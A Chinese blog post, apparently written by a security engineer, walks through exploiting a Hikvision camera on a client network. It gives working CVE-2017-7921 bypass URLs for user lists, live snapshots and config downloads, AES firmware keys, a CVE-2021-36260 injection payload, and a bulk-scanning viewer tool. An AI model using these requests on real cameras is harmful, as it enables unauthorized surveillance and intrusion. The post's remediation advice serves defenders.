// 2026年3月26日

在客户现场"技痒":海康摄像头 CVE-2017-7921 实战复现

起因

在客户现场部署电梯物联网设备时,闲着没事看到墙上的海康摄像头,突然想起美剧里黑客随便调取摄像头画面的场景。作为一个网络安全工程师,一时技痒,掏出笔记本试了试。

没想到,真成了。

Phase 1:设备识别

只知道摄像头在局域网里,先 ping 确认在线:

$ ping 192.168.1.7
64 bytes from 192.168.1.7: time=23ms

然后查 ARP 表拿 MAC 地址:

$ arp -a | grep 192.168.1.7
192.168.1.7  28:57:be:b0:5c:cf

MAC 前缀 28:57:be 一查——杭州海康威视。目标确认。

Phase 2:端口探测的坑

macOS 上没装 nmap,用 bash 的 /dev/tcp 探测端口。扫了 80、443、554、8000、8080、22、23 等几十个常见端口,全部显示关闭

这让我困惑了一会儿——设备明明在线,怎么所有端口都不通?

转折点:试着直接用 curl 发 HTTP 请求:

$ curl http://192.168.1.7/
HTTP/1.1 200 OK
Content-Length: 481
Server: App-webs/
Last-Modified: Sat, 21 Nov 2015 02:11:48 GMT

返回了!原来设备的防火墙过滤了空 TCP 连接,但正常的 HTTP 请求能过去。

教训:端口扫描被过滤不代表服务不存在,换个方式试试。

另外注意那个 Last-Modified: 2015——固件是 2015 年的,距今超过 10 年没更新。

Phase 3:指纹识别

Server: App-webs/ 是老版本海康固件的典型特征。进一步确认:

$ curl http://192.168.1.7/ISAPI/System/deviceInfo
HTTP/1.1 401 Unauthorized

ISAPI 接口存在,返回 401,确认是海康设备。

Phase 4:默认密码碰撞(失败)

先试最简单的——默认密码:

# 测试了 9 组常见默认密码
admin:12345 401
admin:admin 401
admin:hikvision 401
admin:888888 401
...

全部失败,密码改过了。好消息是管理员有安全意识,坏消息是——我们有 CVE。

Phase 5:CVE-2017-7921 认证绕过

这是一个 CVSS 9.1 的严重漏洞:多个 API 端点无需认证即可访问。

第一击:用户枚举

$ curl "http://192.168.1.7/Security/users?auth=YWRtaW46MTIW"
<UserList version="1.0">
  <User>
    <id>1</id>
    <userName>admin</userName>
    <userLevel>Administrator</userLevel>
  </User>
</UserList>

没有任何认证,直接拿到管理员信息。auth=YWRtaW46MTIWadmin:120 的 Base64,但服务端根本不验证这个参数

第二击:实时画面

$ curl "http://192.168.1.7/onvif-http/snapshot?auth=YWRtaW46MTIW" -o snap.jpg

下载了一张 1920x1080 的 JPEG——电梯间的实时画面,时间戳 03-24-2026 18:27:50

到这一步,“美剧黑客”效果已经复现了。

第三击:配置文件下载

$ curl "http://192.168.1.7/System/configurationFile?auth=YWRtaW46MTIW" -o config.dat
# 下载了 763KB 的设备完整配置

Phase 6:配置文件解密(艰难但有收获)

拿到了加密的配置文件,想进一步提取存储的密码。

尝试 1:多种解密方法

写了 hik_decrypt.py,尝试了 7 种方法:

  • 已知 XOR 密钥(\x73\x8B\x55\x44HikVision 等)
  • 不同偏移量的头部解析
  • 单字节 XOR 暴力穷举(256 种可能)
  • 正则提取明文凭证

全部失败

尝试 2:AES 固件密钥

写了 hik_decrypt_v2.py,用从海康固件中提取的 6 组 AES-128-ECB 密钥:

keys = [
    bytes.fromhex("279d3a430f287b8c3e89125c6a4dbbfe"),  # 最常见的 pre-2017 密钥
    bytes.fromhex("0102030405060708090a0b0c0d0e0f10"),
    b"OemConfigPasswor",                                   # 16 字节 ASCII
    # ... 还有 3 组
]

加上滑动窗口检测 XML 边界、大小端头部解析等技巧——还是全部失败

结论:这台设备用的是设备序列号派生的 AES 密钥,不是静态密钥。更新的加密方案确实更安全。

踩坑:Python 环境

macOS 上 pip install cryptography 直接报错(PEP 668 限制)。解决方案:

python3 -m venv /tmp/hik_venv
source /tmp/hik_venv/bin/activate
pip install cryptography opencv-python requests numpy

Phase 7:CVE-2021-36260 RCE 探测

既然认证绕过成功了,顺手测了一下命令注入(CVE-2021-36260):

$ curl -X PUT "http://192.168.1.7/SDK/webLanguage" \
  -d '<?xml version="1.0"?><language>$(id)</language>'
# 返回 Device Error (statusCode: 3)

端点存在且接受请求,但注入没有成功——可能固件做了部分修补,也可能需要盲注验证。不过已有的证据已经足够说明问题了。

Phase 8:实时监控工具

为了更直观地展示漏洞危害,写了个 500 行的 Python 工具 hik_live_viewer.py

# 核心:持续抓取 JPEG 帧,用 OpenCV 实时显示
def get_frame(ip):
    url = f"http://{ip}/onvif-http/snapshot"
    resp = requests.get(url, params={"auth": "YWRtaW46MTIW"}, timeout=5)
    arr = np.frombuffer(resp.content, dtype=np.uint8)
    return cv2.imdecode(arr, cv2.IMREAD_COLOR)

功能包括:

  • 单摄像头实时查看:连续抓帧显示,约 5-10 FPS
  • 网段扫描-t 192.168.1.0/24 批量发现脆弱设备
  • 多画面同时显示--multi 模式同时看多个摄像头
  • 录像--record 保存 AVI 视频文件
  • 截图:按 S 键保存当前帧

画面上叠加了红色警告横幅:[UNAUTHORIZED ACCESS] - CVE-2017-7921,视觉冲击力拉满。

漏洞影响总结

能力说明
实时监控无需认证查看任意摄像头画面
用户枚举提取所有管理员账号
配置窃取下载完整设备配置
批量利用一个脚本扫全网段
零交互不需要受害者任何操作

安全建议

给运维人员:

  1. 立即升级固件到 V5.7.x 以上
  2. 摄像头放独立 VLAN,ACL 严格限制访问
  3. 禁用 HTTP,只开 HTTPS
  4. 2015 年的设备如果不支持新固件,直接换掉

给安全从业者:

  • IoT 设备是内网最薄弱的环节
  • 端口扫描被过滤 ≠ 服务不存在,多换几种探测方式
  • 老固件 + 公开 CVE = 几乎必定可利用

给开发者:

  • 认证必须覆盖所有端点,一个遗漏就是全线崩溃
  • 配置加密要用设备特征派生密钥,不要硬编码
  • AES-ECB 模式不适合加密结构化数据

后续

测试完成后第一时间通知了客户运维团队,建议升级固件并做网络隔离。最终结论很简单:这台 2015 年固件的摄像头不适合部署在任何有安全要求的环境。同一个内网里,任何人在浏览器地址栏输入一个 URL 就能看到实时画面。

这次”技痒”也再次证明了一个道理:内网不等于安全,很多看起来正常运转的设备,实际上一捅就穿。

免责声明:本文记录的安全测试已获得授权,仅用于安全研究和教育目的。测试完成后已通知设备管理方进行整改。

评论